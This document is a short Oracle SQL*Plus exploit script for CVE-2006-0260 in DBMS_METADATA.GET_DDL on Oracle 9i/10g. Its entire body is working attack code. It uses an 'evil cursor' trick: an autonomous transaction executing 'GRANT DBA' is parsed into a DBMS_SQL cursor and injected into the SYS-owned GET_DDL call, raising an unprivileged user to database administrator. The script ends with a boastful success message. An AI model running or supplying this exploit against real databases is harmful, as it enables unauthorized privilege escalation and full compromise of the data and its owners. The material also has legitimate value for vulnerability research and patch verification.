-- -- dbms_meta_get_ddl.sql -- -- -- Oracle DBMS_METADATA.GET_DDL exploit (9i/10g) -- Evil cursor technique -- -- Grant dba permission to unprivileged user -- -- Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0" -- -- REF: http://www.securityfocus.com/bid/16287 -- -- AUTHOR: Andrea "bunker" Purificato -- http://rawlab.mindcreations.com -- -- DATE: Copyright 2007 - Fri Feb 23 12:32:55 CET 2007 -- -- set serveroutput on; prompt [+] dbms_meta_get_ddlV2.sql exploit (CVE-2006-0260) prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 prompt undefine the_user; accept the_user char prompt 'Target username (default TEST): ' default 'TEST'; prompt prompt [-] Creating evil cursor... DECLARE MYC NUMBER; R CLOB; BEGIN MYC := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0); R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute('||MYC||')||''',''); END; / prompt [-] YOU GOT THE POWAH!!